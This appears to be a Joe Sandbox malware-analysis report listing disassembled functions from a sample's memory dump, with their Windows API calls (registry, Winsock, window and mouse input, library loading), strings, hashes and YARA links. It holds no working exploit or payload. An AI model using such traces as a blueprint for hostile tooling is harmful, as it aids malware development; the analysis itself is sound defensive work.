Opcode ID: 0d5e3f3e62d222ce2388249738ab4f5fcb33a1a21bc423cfd4f7006a1c523ad5
Instruction ID: a407c3b9f95502e9c7fc2f7f3ed75d8885cb1b37cfe69e8d857ee602ccace9a4
Opcode Fuzzy Hash: 0d5e3f3e62d222ce2388249738ab4f5fcb33a1a21bc423cfd4f7006a1c523ad5
Instruction Fuzzy Hash: 5A217174500745AFDB218FA6DC04A9EBBE4BF59720F204E29F9A1D72D1E7B19C90CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00204A0C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017771B: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00177759
Part of subcall function 0017771B: GetStockObject.GDI32(00000011), ref: 0017776D
Part of subcall function 0017771B: SendMessageW.USER32(00000000,00000030,00000000), ref: 00177777

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00204A71
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00204A7E
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00204A89
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00204A98
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00204AA4

Strings

Msctls_Progress32, xrefs: 00204A42

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 26e39b986286231de110c61bef1d3e64f354336d3a5e0054a374e54a29bef21f
Instruction ID: 36dc9a7d4fd7062ba7249b74cdb9532c8979efeedfe492a46a5c42af0af58cc0
Opcode Fuzzy Hash: 26e39b986286231de110c61bef1d3e64f354336d3a5e0054a374e54a29bef21f
Instruction Fuzzy Hash: 2611B6B225021DBEEF119F64CC85EE77FADEF09758F008111FB18A6091C7719C219BA4

Uniqueness

Uniqueness Score: -1.00%

Function 001DE223 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 001DE23D
LoadStringW.USER32(00000000), ref: 001DE244
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 001DE25A
LoadStringW.USER32(00000000), ref: 001DE261
MessageBoxW.USER32(00000000,?,?,00011010), ref: 001DE2A5

Strings

%s (%d) : ==> %s: %s %s, xrefs: 001DE282

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: fc8071bbf6691be4d60be2a3d5ca1e7d6747716340fbe87c312cd794e8dca396
Instruction ID: adc9494756b460bfa253ac85cdf3ab309f36d402d03b898564bd34ce93721bd8
Opcode Fuzzy Hash: fc8071bbf6691be4d60be2a3d5ca1e7d6747716340fbe87c312cd794e8dca396
Instruction Fuzzy Hash: 6A011DF6900308BFE711A7E4AD8DEE7776CDB08305F414592B74AE6142EA749E848B71

Uniqueness

Uniqueness Score: -1.00%

Function 001F25BD Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 001F271D
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 001F273E
WSAGetLastError.WSOCK32 ref: 001F274F
htons.WSOCK32(?,?,?,?,?), ref: 001F2838
inet_ntoa.WSOCK32(?), ref: 001F27E9

Part of subcall function 001D4277: _strlen.LIBCMT ref: 001D4281

Part of subcall function 001F3B81: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,001EF569), ref: 001F3B9D

_strlen.LIBCMT ref: 001F2892

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 0898930d9f1932521dfc15d72b509135a6140e7f2a3552e7757606568e1cd96a
Instruction ID: dcc10cda0165c40d395f817ff4b23776f68aa516adb74199192c87863db21b83
Opcode Fuzzy Hash: 0898930d9f1932521dfc15d72b509135a6140e7f2a3552e7757606568e1cd96a
Instruction Fuzzy Hash: 95B1F071204304AFD324DF64C895E3A7BF5AF98318F54854CF69A8B2A2CB71ED46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001A0547 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 001A044A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001A0466
__allrem.LIBCMT ref: 001A047D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001A049B
__allrem.LIBCMT ref: 001A04B2
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001A04D0

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 2c635347f6fb7bc080f97231395b1708db1b00bed18cf3e190c3431c6bc10d53
Instruction ID: 837388c7e56d5707ee6a693e528beaaa421cbd0d2984933d13b9f65d1d2096c6
Opcode Fuzzy Hash: 2c635347f6fb7bc080f97231395b1708db1b00bed18cf3e190c3431c6bc10d53
Instruction Fuzzy Hash: 9881F97AA007069FDB269E78CC81B6A73E8BF5E724F24412EF611D7291E770D9008791

Uniqueness

Uniqueness Score: -1.00%

Function 001A658E Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00198669,00198669,?,?,?,001A67DF,00000001,00000001,8BE85006), ref: 001A65E8
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,001A67DF,00000001,00000001,8BE85006,?,?,?), ref: 001A666E
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 001A6768
__freea.LIBCMT ref: 001A6775

Part of subcall function 001A3BB0: RtlAllocateHeap.NTDLL(00000000,?,?,?,00196A99,?,0000015D,?,?,?,?,001985D0,000000FF,00000000,?,?), ref: 001A3BE2

__freea.LIBCMT ref: 001A677E
__freea.LIBCMT ref: 001A67A3

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 15469e303f4b81a48c543ea970f358835e7b428163d12cc51de0605bddea5d94
Instruction ID: fbcc9bd5efee93d33aa15992e948516a846229d89b2e04cb700b8c9c3d49947c
Opcode Fuzzy Hash: 15469e303f4b81a48c543ea970f358835e7b428163d12cc51de0605bddea5d94
Instruction Fuzzy Hash: 9B51F57A610216AFDB258FA4CC81EBF77AAEF56754F194228FC14D6150EB38DC40C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 001FC53A Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001FD2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001FC00D,?,?), ref: 001FD314
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD350
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD3C7
Part of subcall function 001FD2F7: _wcslen.LIBCMT ref: 001FD3FD

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001FC629
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001FC684
RegCloseKey.ADVAPI32(00000000), ref: 001FC6C9
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 001FC6F8
RegCloseKey.ADVAPI32(?,?,00000000), ref: 001FC752
RegCloseKey.ADVAPI32(?), ref: 001FC75E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: 986a43c6f3a287afe0f02310779e4e87318fc60bb97b98f562bd516fbb337f54
Instruction ID: d074c4ac7e1fa400faffc82140633bc209591de1563c0b006e2bbc1f3d7d80dc
Opcode Fuzzy Hash: 986a43c6f3a287afe0f02310779e4e87318fc60bb97b98f562bd516fbb337f54
Instruction Fuzzy Hash: F281AA70208249AFD714EF24C984E3ABBF5BF84318F14895CF5498B2A2DB31ED45DB92

Uniqueness

Uniqueness Score: -1.00%

Function 001D003D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 001D0049
SysAllocString.OLEAUT32(00000000), ref: 001D00F0
VariantCopy.OLEAUT32(001D02F4,00000000), ref: 001D0119
VariantClear.OLEAUT32(001D02F4), ref: 001D013D
VariantCopy.OLEAUT32(001D02F4,00000000), ref: 001D0141
VariantClear.OLEAUT32(?), ref: 001D014B

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 1740497731b36eeaa9c99bc281edbd4bb8d6e02b708c5570084677dd978b9865
Instruction ID: 47a1054de3ec4e2805191f91214c15195d9c18dfdcf831d442a038f220f5350d
Opcode Fuzzy Hash: 1740497731b36eeaa9c99bc281edbd4bb8d6e02b708c5570084677dd978b9865
Instruction Fuzzy Hash: C651F631641310ABCF26AB64A899B29B3B5EF6D310F14944BF906DF396DB70DC40CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00208B3A Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,001CFB8F,00000000,?,?,00000000,?,001B39BC,00000004,00000000,00000000), ref: 00208BAB
EnableWindow.USER32(?,00000000), ref: 00208BD1
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00208C30
ShowWindow.USER32(?,00000004), ref: 00208C44
EnableWindow.USER32(?,00000001), ref: 00208C6A
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00208C8E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: b31aa96ee4e5a34ce1e50c17b92dd71010af367eebac6d2c1c7846a0d76ee061
Instruction ID: df1a0f4b7f084d22e0adc4f7cc09f547b829b2157c239fb6a108e56ecdfa7062
Opcode Fuzzy Hash: b31aa96ee4e5a34ce1e50c17b92dd71010af367eebac6d2c1c7846a0d76ee061
Instruction Fuzzy Hash: EE416374612345EFDB15CF14D889BA67BF0BB4A308F184169E6888F2E3DB71A865CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001F2C37 Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 001F2C45

Part of subcall function 001EEE49: GetWindowRect.USER32(?,?), ref: 001EEE61

GetDesktopWindow.USER32 ref: 001F2C6F
GetWindowRect.USER32(00000000), ref: 001F2C76
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 001F2CB2
GetCursorPos.USER32(?), ref: 001F2CDE
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 001F2D3C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: a880af2a495e0fb51ca14e94e52a4e6128815c062ba22adcc69ade0ce77a906e
Instruction ID: cbad04cf14368518c0df9ae002955eae6be819cd2ff3d2827ac8c363ef47cf0a
Opcode Fuzzy Hash: a880af2a495e0fb51ca14e94e52a4e6128815c062ba22adcc69ade0ce77a906e
Instruction Fuzzy Hash: D231F2725053199BD720DF54D848BAFB7E9FF84354F00051AF99597281C731EA09CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001E6178 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 0017557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00175558,?,?,001B4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0017559E

_wcslen.LIBCMT ref: 001E61D5
CoInitialize.OLE32(00000000), ref: 001E62EF
CoCreateInstance.OLE32(00210CC4,00000000,00000001,00210B34,?), ref: 001E6308
CoUninitialize.OLE32 ref: 001E6326

Strings

.lnk, xrefs: 001E61D0, 001E621B, 001E62DF

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: 5035c22b440a107966ece31e54bebd24e2b29093f2d0529293286163c664c66c
Instruction ID: c3f0386ff5732e20e9de0f79dc42f09fa6e49aef82ddb1d8431ece6977e096fd
Opcode Fuzzy Hash: 5035c22b440a107966ece31e54bebd24e2b29093f2d0529293286163c664c66c
Instruction Fuzzy Hash: 0AD142716086019FC714EF25C484A2EBBF2FFA9754F548858F88A9B361CB31EC45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 001D2104 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 001D210F
UnloadUserProfile.USERENV(?,?), ref: 001D211B
CloseHandle.KERNEL32(?), ref: 001D2124
CloseHandle.KERNEL32(?), ref: 001D212C
GetProcessHeap.KERNEL32(00000000,?), ref: 001D2135
HeapFree.KERNEL32(00000000), ref: 001D213C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 45f74fc5f0cf5a1fc2cfdcf75a0bda1c9e52e5872b71a3569d0b16c37e3de86b
Instruction ID: cdfa3082fb38e1ef3cd57a45a204fdae6494c56cefefec7b7ae2b7c45042f554
Opcode Fuzzy Hash: 45f74fc5f0cf5a1fc2cfdcf75a0bda1c9e52e5872b71a3569d0b16c37e3de86b
Instruction Fuzzy Hash: 1AE0757A105605BBDB011FE5FD0C94AFF79FF49722B508625F22982471CB329461DF91

Uniqueness

Uniqueness Score: -1.00%

Function 001DCD90 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00174154: _wcslen.LIBCMT ref: 00174159

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 001DCEAE
_wcslen.LIBCMT ref: 001DCEF5
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 001DCF5C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 001DCF8A

Strings

0, xrefs: 001DCE6F

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 6b10e89dfa4879360954b6c3df34607107e99c63eb506d5ba3fdabcad7654065
Instruction ID: 61da32ec452a0ac2a0e0f97ece78801e81cd8a3fa286cabdf222171c10aa120e
Opcode Fuzzy Hash: 6b10e89dfa4879360954b6c3df34607107e99c63eb506d5ba3fdabcad7654065
Instruction Fuzzy Hash: 0451C1716143029FDB159F28C885BABBBE5AF99314F040E2EF995D23A0DB70DD44C792

Uniqueness

Uniqueness Score: -1.00%

Function 002046DB Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00204794
IsMenu.USER32(?), ref: 002047A9
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 002047F1
DrawMenuBar.USER32 ref: 00204804

Strings

0, xrefs: 002046E8

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 9d625b9650b941c1bbb2a7af81b44c9362d4470d3bec28633afcd27bb9efd370
Instruction ID: c4b2a5a8f51547c8f89435f6e0f230fb985b887b2fd42f28de538d8c6a805a2a
Opcode Fuzzy Hash: 9d625b9650b941c1bbb2a7af81b44c9362d4470d3bec28633afcd27bb9efd370
Instruction Fuzzy Hash: 3D414CB4A2134AEFDB20DF50E884AAABBB4FF45314F048519FA0597291C730ED64CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001D2672 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

Part of subcall function 001D4536: GetClassNameW.USER32(?,?,000000FF), ref: 001D4559

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 001D26F6
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 001D2709
SendMessageW.USER32(?,00000189,?,00000000), ref: 001D2739

Part of subcall function 001784B7: _wcslen.LIBCMT ref: 001784CA

Strings

ListBox, xrefs: 001D26B5
ComboBox, xrefs: 001D2680

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 0633bc40099773f066c6888023572b8eba33eb7def7c583421ccceddc376ff3a
Instruction ID: 96c8f6323e6ddb92ae1d33f2080cb4af82e3f68f76c3b315e6b4c409ff50300d
Opcode Fuzzy Hash: 0633bc40099773f066c6888023572b8eba33eb7def7c583421ccceddc376ff3a
Instruction Fuzzy Hash: 69212971900204BFDB24ABB4DC89DFEB7B9EF75764F14811AF421A32E1DB785906C610

Uniqueness

Uniqueness Score: -1.00%

Function 001CE71E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 001CE72B
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 001CE73D
FreeLibrary.KERNEL32(00000000), ref: 001CE763

Strings

GetSystemWow64DirectoryW, xrefs: 001CE737
X64, xrefs: 001CE626

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: c8db128caa12d21eba0e7c03cbc9bc33764dc658ada784ccf37a14ce4063de82
Instruction ID: ebdcafd406d3ade8677ccfa2ca6ec12d6300449160ef4d664eb16407fbf507ba
Opcode Fuzzy Hash: c8db128caa12d21eba0e7c03cbc9bc33764dc658ada784ccf37a14ce4063de82
Instruction Fuzzy Hash: 10F0ED71827720ABDB7A2B604C4CF69B6A8AF31700F16049CF849E6052DF30CE488B98

Uniqueness

Uniqueness Score: -1.00%

Function 00176332 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,0017637F,?,?,001760AA,?,00000001,?,?,00000000), ref: 0017633E
